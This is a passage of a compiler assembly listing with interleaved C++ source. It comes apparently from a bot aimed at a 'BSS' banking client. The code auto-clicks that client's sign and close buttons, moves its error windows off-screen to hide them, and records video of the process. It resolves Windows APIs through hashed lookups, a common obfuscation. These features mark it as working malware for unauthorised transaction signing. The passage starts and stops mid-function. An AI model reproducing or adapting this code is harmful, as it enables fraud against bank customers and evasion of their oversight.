  0002f	51		 push	 ecx
  00030	e8 00 00 00 00	 call	 ?m_memcpy@@YAPAXPAXPBXH@Z ; m_memcpy
  00035	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@Delete:
; 107  : 	}
; 108  : 
; 109  : 	// 
; 110  : 	DoDelete(Temp);
  00038	8b 06		 mov	 eax, DWORD PTR [esi]
  0003a	53		 push	 ebx
  0003b	8b ce		 mov	 ecx, esi
  0003d	ff 50 04	 call	 DWORD PTR [eax+4]
  00040	5b		 pop	 ebx
$LN3@Delete:
  00041	5f		 pop	 edi
  00042	5e		 pop	 esi
; 111  : }
  00043	c2 04 00	 ret	 4
?Delete@?$TListTemplate@PAX@@QAEXH@Z ENDP		; TListTemplate<void *>::Delete
_TEXT	ENDS
PUBLIC	?GetItem@?$TListTemplate@PAX@@QAEPAXH@Z		; TListTemplate<void *>::GetItem
; Function compile flags: /Ogspy
;	COMDAT ?GetItem@?$TListTemplate@PAX@@QAEPAXH@Z
_TEXT	SEGMENT
_Index$ = 8						; size = 4
?GetItem@?$TListTemplate@PAX@@QAEPAXH@Z PROC		; TListTemplate<void *>::GetItem, COMDAT
; _this$ = ecx
; 186  : {
  00000	56		 push	 esi
  00001	57		 push	 edi
; 187  : 	// 
; 188  :     return (CheckIndex(Index)) ? FItems[Index] : FEmptyItem;
  00002	8b 7c 24 0c	 mov	 edi, DWORD PTR _Index$[esp+4]
  00006	57		 push	 edi
  00007	8b f1		 mov	 esi, ecx
  00009	e8 00 00 00 00	 call	 ?CheckIndex@?$TListTemplate@PAX@@AAE_NH@Z ; TListTemplate<void *>::CheckIndex
  0000e	84 c0		 test	 al, al
  00010	74 08		 je	 SHORT $LN3@GetItem
  00012	8b 46 0c	 mov	 eax, DWORD PTR [esi+12]
  00015	8b 04 b8	 mov	 eax, DWORD PTR [eax+edi*4]
  00018	eb 03		 jmp	 SHORT $LN4@GetItem
$LN3@GetItem:
  0001a	8b 46 10	 mov	 eax, DWORD PTR [esi+16]
$LN4@GetItem:
  0001d	5f		 pop	 edi
  0001e	5e		 pop	 esi
; 189  : }
  0001f	c2 04 00	 ret	 4
?GetItem@?$TListTemplate@PAX@@QAEPAXH@Z ENDP		; TListTemplate<void *>::GetItem
_TEXT	ENDS
PUBLIC	??_C@_03BAMKCOCL@BSS?$AA@			; `string'
EXTRN	?RecordPID@VideoProcess@@YA_NHPBDKHH@Z:PROC	; VideoProcess::RecordPID
;	COMDAT ??_C@_03BAMKCOCL@BSS?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h
CONST	SEGMENT
??_C@_03BAMKCOCL@BSS?$AA@ DB 'BSS', 00H			; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ?Click@TBSSSignForm@@MAE_NXZ
_TEXT	SEGMENT
?Click@TBSSSignForm@@MAE_NXZ PROC			; TBSSSignForm::Click, COMDAT
; _this$ = ecx
; 481  : 	{
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b f1		 mov	 esi, ecx
; 482  : //		DWORD Count = BSSClickToButtons(FForm, true, BSS_SIGN_BUTTON_CAPTION_HASH);
; 483  : 		if (FWaitWindow)
  00004	33 db		 xor	 ebx, ebx
  00006	38 5e 24	 cmp	 BYTE PTR [esi+36], bl
  00009	74 1d		 je	 SHORT $LN6@Click
; 484  : 		{
; 485  : 			// 
; 486  : 			FWaitWindow = Owner()->Count() > FWindowsCount;
  0000b	e8 00 00 00 00	 call	 ?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ ; TBotCollectionItem::Owner
  00010	8b c8		 mov	 ecx, eax
  00012	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00017	3b 46 20	 cmp	 eax, DWORD PTR [esi+32]
  0001a	0f 9f c0	 setg	 al
  0001d	88 46 24	 mov	 BYTE PTR [esi+36], al
; 487  : 			if (FWaitWindow) return false;
  00020	3a c3		 cmp	 al, bl
  00022	74 04		 je	 SHORT $LN6@Click
  00024	32 c0		 xor	 al, al
  00026	eb 7a		 jmp	 SHORT $LN8@Click
$LN6@Click:
  00028	55		 push	 ebp
  00029	57		 push	 edi
; 488  :         }
; 489  : 		// 
; 490  : 		FWindowsCount = Owner()->Count();
  0002a	8b ce		 mov	 ecx, esi
  0002c	e8 00 00 00 00	 call	 ?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ ; TBotCollectionItem::Owner
  00031	8b c8		 mov	 ecx, eax
  00033	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00038	89 46 20	 mov	 DWORD PTR [esi+32], eax
; 491  : 
; 492  : 		while (FButtons.Count())
  0003b	39 5e 2c	 cmp	 DWORD PTR [esi+44], ebx
  0003e	74 3b		 je	 SHORT $LN4@Click
  00040	8d 7e 28	 lea	 edi, DWORD PTR [esi+40]
$LL5@Click:
; 493  : 		{
; 494  : 			HWND Wnd = (HWND)FButtons.GetItem(0);
  00043	53		 push	 ebx
  00044	8b cf		 mov	 ecx, edi
  00046	e8 00 00 00 00	 call	 ?GetItem@?$TListTemplate@PAX@@QAEPAXH@Z ; TListTemplate<void *>::GetItem
; 495  : 			FButtons.Delete(0);
  0004b	53		 push	 ebx
  0004c	8b cf		 mov	 ecx, edi
  0004e	8b e8		 mov	 ebp, eax
  00050	e8 00 00 00 00	 call	 ?Delete@?$TListTemplate@PAX@@QAEXH@Z ; TListTemplate<void *>::Delete
; 496  : 
; 497  : 			if (BSSClickToButton(Wnd))
  00055	55		 push	 ebp
  00056	e8 00 00 00 00	 call	 ?BSSClickToButton@@YA_NPAUHWND__@@@Z ; BSSClickToButton
  0005b	59		 pop	 ecx
  0005c	84 c0		 test	 al, al
  0005e	74 16		 je	 SHORT $LN2@Click
; 498  : 			{
; 499  : 				FClickedCount++;
  00060	ff 46 1c	 inc	 DWORD PTR [esi+28]
; 500  : 
; 501  : 				if (Owner()->Count() > FWindowsCount)
  00063	8b ce		 mov	 ecx, esi
  00065	e8 00 00 00 00	 call	 ?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ ; TBotCollectionItem::Owner
  0006a	8b c8		 mov	 ecx, eax
  0006c	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00071	3b 46 20	 cmp	 eax, DWORD PTR [esi+32]
  00074	7f 2f		 jg	 SHORT $LN15@Click
$LN2@Click:
; 491  : 
; 492  : 		while (FButtons.Count())
  00076	39 5e 2c	 cmp	 DWORD PTR [esi+44], ebx
  00079	75 c8		 jne	 SHORT $LL5@Click
$LN4@Click:
; 502  : 				{
; 503  : 					// 
; 504  : 					// 
; 505  : 					FWaitWindow = true;
; 506  : 					return false;
; 507  :                 }
; 508  : 			}
; 509  :         }
; 510  : 
; 511  : 
; 512  : 
; 513  : 		BDBG("bsssign","
 %d", FClickedCount);
; 514  : 
; 515  : 		TBSSForm::Click();
  0007b	8b ce		 mov	 ecx, esi
  0007d	e8 00 00 00 00	 call	 ?Click@TBSSForm@@MAE_NXZ ; TBSSForm::Click
; 516  : 
; 517  : 
; 518  :         /* TODO :
; 519  : 			
; 520  : 			
; 521  : 			
; 522  : 			
; 523  : 		*/
; 524  :         if (FClickedCount)
  00082	39 5e 1c	 cmp	 DWORD PTR [esi+28], ebx
  00085	74 11		 je	 SHORT $LN1@Click
; 525  : 			VideoProcess::RecordPID( 0, "BSS" );
  00087	53		 push	 ebx
  00088	53		 push	 ebx
  00089	53		 push	 ebx
  0008a	68 00 00 00 00	 push	 OFFSET ??_C@_03BAMKCOCL@BSS?$AA@
  0008f	53		 push	 ebx
  00090	e8 00 00 00 00	 call	 ?RecordPID@VideoProcess@@YA_NHPBDKHH@Z ; VideoProcess::RecordPID
  00095	83 c4 14	 add	 esp, 20			; 00000014H
$LN1@Click:
; 526  : 
; 527  : 		//---------------------------------------------
; 528  : 
; 529  :         return FClickedCount > 0;
  00098	33 c0		 xor	 eax, eax
  0009a	39 5e 1c	 cmp	 DWORD PTR [esi+28], ebx
  0009d	0f 9f c0	 setg	 al
$LN16@Click:
  000a0	5f		 pop	 edi
  000a1	5d		 pop	 ebp
$LN8@Click:
  000a2	5e		 pop	 esi
  000a3	5b		 pop	 ebx
; 530  :     }
  000a4	c3		 ret	 0
$LN15@Click:
  000a5	c6 46 24 01	 mov	 BYTE PTR [esi+36], 1
  000a9	32 c0		 xor	 al, al
  000ab	eb f3		 jmp	 SHORT $LN16@Click
?Click@TBSSSignForm@@MAE_NXZ ENDP			; TBSSSignForm::Click
_TEXT	ENDS
PUBLIC	??_C@_0BL@EJLEECNI@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?g?$OA?j?p?$PL?r?h?$PP?$AA@ ; `string'
;	COMDAT ??_C@_0BL@EJLEECNI@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?g?$OA?j?p?$PL?r?h?$PP?$AA@
CONST	SEGMENT
??_C@_0BL@EJLEECNI@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?g?$OA?j?p?$PL?r?h?$PP?$AA@ DB 0caH
	DB	0ebH, 0e8H, 0eaH, 0e0H, 0e5H, 0ecH, ' ', 0efH, 0eeH, ' ', 0eaH
	DB	0edH, 0eeH, 0efH, 0eaH, 0e5H, ' ', 0e7H, 0e0H, 0eaH, 0f0H, 0fbH
	DB	0f2H, 0e8H, 0ffH, 00H			; `string'
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ?Execute@TBSSSignForm@@UAE?AW4TBSSFormStatus@@XZ
_TEXT	SEGMENT
?Execute@TBSSSignForm@@UAE?AW4TBSSFormStatus@@XZ PROC	; TBSSSignForm::Execute, COMDAT
; _this$ = ecx
; 559  : 	{
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b f1		 mov	 esi, ecx
; 560  : 		// 
; 561  : 		// 
; 562  : 		if (FStatus == bfsWait && !FCloseBtnClicked)
  00004	83 7e 0c 02	 cmp	 DWORD PTR [esi+12], 2
  00008	0f 85 81 00 00
	00		 jne	 $LN5@Execute@3
  0000e	33 db		 xor	 ebx, ebx
  00010	38 5e 18	 cmp	 BYTE PTR [esi+24], bl
  00013	75 7a		 jne	 SHORT $LN5@Execute@3
; 563  : 		{
; 564  : 
; 565  : 			if (Owner()->Count() == 1 && (BOOL)pIsWindowVisible(FForm))
  00015	e8 00 00 00 00	 call	 ?Owner@TBotCollectionItem@@QAEPAVTBotCollection@@XZ ; TBotCollectionItem::Owner
  0001a	8b c8		 mov	 ecx, eax
  0001c	e8 00 00 00 00	 call	 ?Count@TBotCollection@@QAEHXZ ; TBotCollection::Count
  00021	83 f8 01	 cmp	 eax, 1
  00024	75 63		 jne	 SHORT $LN1@Execute@3
  00026	ff 76 08	 push	 DWORD PTR [esi+8]
  00029	e8 00 00 00 00	 call	 ??$pushargEx@$02$0MPKKNHLP@$0BBP@PAUHWND__@@@@YAPAXPAUHWND__@@@Z ; pushargEx<3,3484080063,287,HWND__ *>
  0002e	59		 pop	 ecx
  0002f	85 c0		 test	 eax, eax
  00031	74 56		 je	 SHORT $LN1@Execute@3
; 566  : 			{
; 567  : 				//FCloseBtnClicked = true;
; 568  : 				if (!FClosebtnClickStart)
  00033	39 5e 40	 cmp	 DWORD PTR [esi+64], ebx
  00036	75 08		 jne	 SHORT $LN3@Execute@3
; 569  : 					FClosebtnClickStart = (DWORD)pGetTickCount();
  00038	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ; pushargEx<1,1764098386,109>
  0003d	89 46 40	 mov	 DWORD PTR [esi+64], eax
$LN3@Execute@3:
; 570  : 				bool SendCloseMsg = ((DWORD)pGetTickCount() - FClosebtnClickStart) > 5000;
  00040	e8 00 00 00 00	 call	 ??$pushargEx@$00$0GJCGABFC@$0GN@@@YAPAXXZ ; pushargEx<1,1764098386,109>
  00045	2b 46 40	 sub	 eax, DWORD PTR [esi+64]
  00048	3d 88 13 00 00	 cmp	 eax, 5000		; 00001388H
; 571  : 
; 572  : 				// 
; 573  : 				// 
; 574  : 				// 
 WM_CLOSE
; 575  : 
; 576  : 				if (SendCloseMsg)
  0004d	76 11		 jbe	 SHORT $LN2@Execute@3
; 577  : 				{
; 578  :                 	pPostMessageA(FForm, WM_CLOSE, (WPARAM)0, (LPARAM)0);
  0004f	53		 push	 ebx
  00050	53		 push	 ebx
  00051	6a 10		 push	 16			; 00000010H
  00053	ff 76 08	 push	 DWORD PTR [esi+8]
  00056	e8 00 00 00 00	 call	 ??$pushargEx@$02$0MIKIHOKH@$0BDP@PAUHWND__@@HIJ@@YAPAXPAUHWND__@@HIJ@Z ; pushargEx<3,3366485671,319,HWND__ *,int,unsigned int,long>
  0005b	83 c4 10	 add	 esp, 16			; 00000010H
; 579  : 				}
; 580  : 				else
  0005e	eb 29		 jmp	 SHORT $LN1@Execute@3
$LN2@Execute@3:
; 581  : 				{
; 582  : 					BSSSIGNLOG(FForm, false, "
  00060	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  00066	3b cb		 cmp	 ecx, ebx
  00068	74 0e		 je	 SHORT $LN8@Execute@3
  0006a	68 00 00 00 00	 push	 OFFSET ??_C@_0BL@EJLEECNI@?J?k?h?j?$OA?e?l?5?o?n?5?j?m?n?o?j?e?5?g?$OA?j?p?$PL?r?h?$PP?$AA@
  0006f	53		 push	 ebx
  00070	ff 76 08	 push	 DWORD PTR [esi+8]
  00073	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN8@Execute@3:
; 583  : 					BSSClickToButtons(FForm, false, BSS_CLOSE_BUTTON_CAPTION_HASH);
  00078	68 85 19 1e ae	 push	 -1373759099		; ae1e1985H
  0007d	53		 push	 ebx
  0007e	ff 76 08	 push	 DWORD PTR [esi+8]
  00081	e8 00 00 00 00	 call	 ?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z ; BSSClickToButtons
  00086	83 c4 0c	 add	 esp, 12			; 0000000cH
$LN1@Execute@3:
; 584  : 				}
; 585  : 			}
; 586  : 
; 587  : 			return bfsWait;
  00089	6a 02		 push	 2
  0008b	58		 pop	 eax
  0008c	5e		 pop	 esi
  0008d	5b		 pop	 ebx
; 591  :     }
  0008e	c3		 ret	 0
$LN5@Execute@3:
  0008f	5e		 pop	 esi
  00090	5b		 pop	 ebx
; 588  : 		}
; 589  : 
; 590  : 		return TBSSForm::Execute();
  00091	e9 00 00 00 00	 jmp	 ?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ ; TBSSForm::Execute
?Execute@TBSSSignForm@@UAE?AW4TBSSFormStatus@@XZ ENDP	; TBSSSignForm::Execute
_TEXT	ENDS
PUBLIC	??_C@_0BC@GHPIHIMB@?N?j?m?n?5?b?b?n?d?$OA?5?o?$OA?p?n?k?$PP?$AA@ ; `string'
PUBLIC	??_7TBSSPasswordForm@@6B@			; TBSSPasswordForm::`vftable'
PUBLIC	??0TBSSPasswordForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSPasswordForm::TBSSPasswordForm
EXTRN	??_ETBSSPasswordForm@@UAEPAXI@Z:PROC		; TBSSPasswordForm::`vector deleting destructor'
;	COMDAT ??_C@_0BC@GHPIHIMB@?N?j?m?n?5?b?b?n?d?$OA?5?o?$OA?p?n?k?$PP?$AA@
CONST	SEGMENT
??_C@_0BC@GHPIHIMB@?N?j?m?n?5?b?b?n?d?$OA?5?o?$OA?p?n?k?$PP?$AA@ DB 0ceH, 0eaH
	DB	0edH, 0eeH, ' ', 0e2H, 0e2H, 0eeH, 0e4H, 0e0H, ' ', 0efH, 0e0H
	DB	0f0H, 0eeH, 0ebH, 0ffH, 00H			; `string'
CONST	ENDS
;	COMDAT ??_7TBSSPasswordForm@@6B@
CONST	SEGMENT
??_7TBSSPasswordForm@@6B@ DD FLAT:??_ETBSSPasswordForm@@UAEPAXI@Z ; TBSSPasswordForm::`vftable'
	DD	FLAT:?Click@TBSSForm@@MAE_NXZ
	DD	FLAT:?Wait@TBSSForm@@MAEXXZ
	DD	FLAT:?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??0TBSSPasswordForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z
_TEXT	SEGMENT
_aOwner$ = 8						; size = 4
_Wnd$ = 12						; size = 4
??0TBSSPasswordForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z PROC ; TBSSPasswordForm::TBSSPasswordForm, COMDAT
; _this$ = ecx
; 609  : 	{
  00000	56		 push	 esi
  00001	ff 74 24 0c	 push	 DWORD PTR _Wnd$[esp]
  00005	8b f1		 mov	 esi, ecx
  00007	ff 74 24 0c	 push	 DWORD PTR _aOwner$[esp+4]
  0000b	e8 00 00 00 00	 call	 ??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSForm::TBSSForm
  00010	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSPasswordForm@@6B@
; 610  : 		// 
; 611  : 		BDBG("bsssign","
; 612  : 		BSSSIGNLOG(Wnd, false, "
  00016	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0001c	85 c9		 test	 ecx, ecx
  0001e	74 10		 je	 SHORT $LN5@TBSSPasswo
  00020	68 00 00 00 00	 push	 OFFSET ??_C@_0BC@GHPIHIMB@?N?j?m?n?5?b?b?n?d?$OA?5?o?$OA?p?n?k?$PP?$AA@
  00025	6a 00		 push	 0
  00027	ff 74 24 14	 push	 DWORD PTR _Wnd$[esp+8]
  0002b	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN5@TBSSPasswo:
; 613  :     	FMaxWaitInterval = 30 * 60 * 1000;
  00030	c7 46 14 40 77
	1b 00		 mov	 DWORD PTR [esi+20], 1800000 ; 001b7740H
; 614  : 	}
  00037	8b c6		 mov	 eax, esi
  00039	5e		 pop	 esi
  0003a	c2 08 00	 ret	 8
??0TBSSPasswordForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ENDP ; TBSSPasswordForm::TBSSPasswordForm
_TEXT	ENDS
PUBLIC	??1TBSSPasswordForm@@UAE@XZ			; TBSSPasswordForm::~TBSSPasswordForm
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSPasswordForm@@UAE@XZ
_TEXT	SEGMENT
??1TBSSPasswordForm@@UAE@XZ PROC			; TBSSPasswordForm::~TBSSPasswordForm, COMDAT
; _this$ = ecx
  00000	e9 00 00 00 00	 jmp	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
??1TBSSPasswordForm@@UAE@XZ ENDP			; TBSSPasswordForm::~TBSSPasswordForm
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSPasswordForm@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSPasswordForm@@UAEPAXI@Z PROC			; TBSSPasswordForm::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@7
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@7:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSPasswordForm@@UAEPAXI@Z ENDP			; TBSSPasswordForm::`scalar deleting destructor'
_TEXT	ENDS
PUBLIC	??_C@_0M@NPFALHLM@?N?j?m?n?5?n?x?h?a?j?h?$AA@	; `string'
PUBLIC	??_7TBSSErrorForm@@6B@				; TBSSErrorForm::`vftable'
PUBLIC	??0TBSSErrorForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSErrorForm::TBSSErrorForm
PUBLIC	?Click@TBSSErrorForm@@MAE_NXZ			; TBSSErrorForm::Click
EXTRN	??_ETBSSErrorForm@@UAEPAXI@Z:PROC		; TBSSErrorForm::`vector deleting destructor'
;	COMDAT ??_C@_0M@NPFALHLM@?N?j?m?n?5?n?x?h?a?j?h?$AA@
CONST	SEGMENT
??_C@_0M@NPFALHLM@?N?j?m?n?5?n?x?h?a?j?h?$AA@ DB 0ceH, 0eaH, 0edH, 0eeH, ' '
	DB	0eeH, 0f8H, 0e8H, 0e1H, 0eaH, 0e8H, 00H	; `string'
CONST	ENDS
;	COMDAT ??_7TBSSErrorForm@@6B@
CONST	SEGMENT
??_7TBSSErrorForm@@6B@ DD FLAT:??_ETBSSErrorForm@@UAEPAXI@Z ; TBSSErrorForm::`vftable'
	DD	FLAT:?Click@TBSSErrorForm@@MAE_NXZ
	DD	FLAT:?Wait@TBSSForm@@MAEXXZ
	DD	FLAT:?Execute@TBSSForm@@UAE?AW4TBSSFormStatus@@XZ
; Function compile flags: /Ogspy
CONST	ENDS
;	COMDAT ??0TBSSErrorForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z
_TEXT	SEGMENT
_aOwner$ = 8						; size = 4
_Wnd$ = 12						; size = 4
??0TBSSErrorForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z PROC ; TBSSErrorForm::TBSSErrorForm, COMDAT
; _this$ = ecx
; 655  : 	{
  00000	56		 push	 esi
  00001	ff 74 24 0c	 push	 DWORD PTR _Wnd$[esp]
  00005	8b f1		 mov	 esi, ecx
  00007	ff 74 24 0c	 push	 DWORD PTR _aOwner$[esp+4]
  0000b	e8 00 00 00 00	 call	 ??0TBSSForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ; TBSSForm::TBSSForm
  00010	c7 06 00 00 00
	00		 mov	 DWORD PTR [esi], OFFSET ??_7TBSSErrorForm@@6B@
; 656  : 		BDBG("bsssign","
; 657  : 		BSSSIGNLOG(NULL, false, "
  00016	8b 0d 00 00 00
	00		 mov	 ecx, DWORD PTR ?Logger@@3PAVTBSSSignLog@@A ; Logger
  0001c	85 c9		 test	 ecx, ecx
  0001e	74 0e		 je	 SHORT $LN5@TBSSErrorF
  00020	68 00 00 00 00	 push	 OFFSET ??_C@_0M@NPFALHLM@?N?j?m?n?5?n?x?h?a?j?h?$AA@
  00025	6a 00		 push	 0
  00027	6a 00		 push	 0
  00029	e8 00 00 00 00	 call	 ?Write@TBSSSignLog@@QAEXPAUHWND__@@_NPBD@Z ; TBSSSignLog::Write
$LN5@TBSSErrorF:
; 658  : 
; 659  : 		#ifdef BSSSIGN_HIDE_WND
; 660  :             Move(-1000, 0);
  0002e	6a 00		 push	 0
  00030	68 18 fc ff ff	 push	 -1000			; fffffc18H
  00035	8b ce		 mov	 ecx, esi
  00037	e8 00 00 00 00	 call	 ?Move@TBSSForm@@IAEXHH@Z ; TBSSForm::Move
; 661  : 		#endif
; 662  : 
; 663  : 		FTextHash = 0x27EB /* Ok */;
; 664  : 		//FTextHash = 0x18B5 /* 
 */; // 
; 665  : 		FClassHash = 0;
  0003c	83 66 1c 00	 and	 DWORD PTR [esi+28], 0
  00040	c7 46 18 eb 27
	00 00		 mov	 DWORD PTR [esi+24], 10219 ; 000027ebH
; 666  : 	};
  00047	8b c6		 mov	 eax, esi
  00049	5e		 pop	 esi
  0004a	c2 08 00	 ret	 8
??0TBSSErrorForm@@QAE@PAVTBSSClicker@@PAUHWND__@@@Z ENDP ; TBSSErrorForm::TBSSErrorForm
_TEXT	ENDS
PUBLIC	??1TBSSErrorForm@@UAE@XZ			; TBSSErrorForm::~TBSSErrorForm
; Function compile flags: /Ogspy
;	COMDAT ??1TBSSErrorForm@@UAE@XZ
_TEXT	SEGMENT
??1TBSSErrorForm@@UAE@XZ PROC				; TBSSErrorForm::~TBSSErrorForm, COMDAT
; _this$ = ecx
  00000	e9 00 00 00 00	 jmp	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
??1TBSSErrorForm@@UAE@XZ ENDP				; TBSSErrorForm::~TBSSErrorForm
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ??_GTBSSErrorForm@@UAEPAXI@Z
_TEXT	SEGMENT
___flags$ = 8						; size = 4
??_GTBSSErrorForm@@UAEPAXI@Z PROC			; TBSSErrorForm::`scalar deleting destructor', COMDAT
; _this$ = ecx
  00000	56		 push	 esi
  00001	8b f1		 mov	 esi, ecx
  00003	e8 00 00 00 00	 call	 ??1TBotCollectionItem@@UAE@XZ ; TBotCollectionItem::~TBotCollectionItem
  00008	f6 44 24 08 01	 test	 BYTE PTR ___flags$[esp], 1
  0000d	74 07		 je	 SHORT $LN1@scalar@8
  0000f	56		 push	 esi
  00010	e8 00 00 00 00	 call	 ??3TBotObject@@SAXPAX@Z	; TBotObject::operator delete
  00015	59		 pop	 ecx
$LN1@scalar@8:
  00016	8b c6		 mov	 eax, esi
  00018	5e		 pop	 esi
  00019	c2 04 00	 ret	 4
??_GTBSSErrorForm@@UAEPAXI@Z ENDP			; TBSSErrorForm::`scalar deleting destructor'
; Function compile flags: /Ogspy
_TEXT	ENDS
;	COMDAT ?Click@TBSSErrorForm@@MAE_NXZ
_TEXT	SEGMENT
?Click@TBSSErrorForm@@MAE_NXZ PROC			; TBSSErrorForm::Click, COMDAT
; _this$ = ecx
; 645  : 	{
  00000	53		 push	 ebx
  00001	56		 push	 esi
  00002	8b f1		 mov	 esi, ecx
; 646  : 		// 
; 647  : 		bool Clicked = BSSClickToButtons(FForm, false, FTextHash) > 0;
  00004	ff 76 18	 push	 DWORD PTR [esi+24]
  00007	6a 00		 push	 0
  00009	ff 76 08	 push	 DWORD PTR [esi+8]
  0000c	e8 00 00 00 00	 call	 ?BSSClickToButtons@@YAKPAUHWND__@@_NK@Z ; BSSClickToButtons
  00011	83 c4 0c	 add	 esp, 12			; 0000000cH
  00014	85 c0		 test	 eax, eax
; 648  : 		TBSSForm::Click();
  00016	8b ce		 mov	 ecx, esi
  00018	0f 97 c3	 seta	 bl
  0001b	e8 00 00 00 00	 call	 ?Click@TBSSForm@@MAE_NXZ ; TBSSForm::Click
  00020	5e		 pop	 esi
; 649  : 		return Clicked;
  00021	8a c3		 mov	 al, bl
  00023	5b		 pop	 ebx
; 650  : 	}
  00024	c3		 ret	 0
?Click@TBSSErrorForm@@MAE_NXZ ENDP			; TBSSErrorForm::Click
_TEXT	ENDS
PUBLIC	??_C@_0BI@CGCNNPKK@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?t?n?p?l?s?5?$FL?$CFs?$FN?$AA@ ; `string'
PUBLIC	??_C@_0BE@BJNHFDAE@?N?r?n?a?p?$OA?f?$OA?e?r?q?$PP?5?n?j?m?n?3?5?$AA@ ; `string'
PUBLIC	?AddFormA@TBSSClicker@@QAE_NPAUHWND__@@@Z	; TBSSClicker::AddFormA
EXTRN	?Free@STR@@YAXPAD@Z:PROC			; STR::Free
EXTRN	?GetAllWindowsText@@YAPADPAUHWND__@@_N1@Z:PROC	; GetAllWindowsText
EXTRN	?GetWndClassName2@@YA?AV?$TString@D@@PAUHWND__@@@Z:PROC ; GetWndClassName2
;	COMDAT ??_C@_0BI@CGCNNPKK@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?t?n?p?l?s?5?$FL?$CFs?$FN?$AA@
; File e:\projects\progs\petrosjan\bjwj\source\core\strimplementation.cpp
CONST	SEGMENT
??_C@_0BI@CGCNNPKK@?N?a?p?$OA?a?$OA?r?$PL?b?$OA?e?l?5?t?n?p?l?s?5?$FL?$CFs?$FN?$AA@ DB 0ceH
	DB	0e1H, 0f0H, 0e0H, 0e1H, 0e0H, 0f2H, 0fbH, 0e2H, 0e0H, 0e5H, 0ecH
	DB	' ', 0f4H, 0eeH, 0f0H, 0ecH, 0f3H, ' [%s]', 00H ; `string'
CONST	ENDS
;	COMDAT ??_C@_0BE@BJNHFDAE@?N?r?n?a?p?$OA?f?$OA?e?r?q?$PP?5?n?j?m?n?3?5?$AA@
CONST	SEGMENT
??_C@_0BE@BJNHFDAE@?N?r?n?a?p?$OA?f?$OA?e?r?q?$PP?5?n?j?m?n?3?5?$AA@ DB 0ceH
	DB	0f2H, 0eeH, 0e1H, 0f0H, 0e0H, 0e6H, 0e0H, 0e5H, 0f2H, 0f1H, 0ffH
	DB	' ', 0eeH, 0eaH, 0edH, 0eeH, ': ', 00H	; `string'
; Function compile flags: /Ogspy
; File e:\projects\progs\petrosjan\bjwj\source\misc\bsssign.cpp
CONST	ENDS
;	COMDAT ?AddFormA@TBSSClicker@@QAE_NPAUHWND__@@@Z
_TEXT	SEGMENT
_Class$ = -28						; size = 8
_Text$ = -20						; size = 8
_L$ = -12						; size = 4
_this$ = -8						; size = 4
_Form$ = -4						; size = 4
_WND$ = 8						; size = 4
?AddFormA@TBSSClicker@@QAE_NPAUHWND__@@@Z PROC		; TBSSClicker::AddFormA, COMDAT
; _this$ = ecx
; 772  : 	{
  00000	55		 push	 ebp
  00001	8b ec		 mov	 ebp, esp
  00003	83 ec 1c	 sub	 esp, 28			; 0000001cH
  00006	53		 push	 ebx
